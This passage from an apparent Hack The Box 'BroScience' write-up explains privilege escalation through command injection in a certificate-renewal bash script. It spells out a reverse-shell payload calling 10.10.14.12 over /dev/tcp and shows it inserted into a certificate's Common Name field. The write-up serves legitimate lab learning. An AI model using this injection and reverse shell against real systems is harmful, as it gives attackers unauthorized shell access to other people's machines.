organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
Command Injection
There’s clearly a command injection in this line
1
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
- The
$1
parameter will be/home/bill/Certs/broscience.crt
according toPSPY
’s result
Payload will be
1
$(/bin/bash -i >& /dev/tcp/10.10.14.12/1111 0>&1)
Note this sector
1
2
3
4
5
6
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
$?
is the previous command’s output. This sector checks if the certificate expires less then86400
seconds (1 day
)
Generate the malicious certificate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bill@broscience:/tmp$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /home/bill/Certs/broscience.crt -days 1
Generating a RSA private key
.........................................................................++++
................................................................................++++
writing new private key to '/tmp/temp.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(/bin/bash -i >& /dev/tcp/10.10.14.12/1111 0>&1)
Email Address []:
bill@broscience:/tmp$
bill@broscience:/tmp$ openssl x509 -in /home/bill/Certs/broscience.crt -noout -checkend 86400 > /dev/null
Additional
Auto Pwn Script
Made an auto pwn script just for practicing python (not completed)
Refers
- IPPSEC - https://www.youtube.com/watch?v=kyPYfqMYQm8
- 0xdf - https://0xdf.gitlab.io/2023/04/08/htb-broscience.html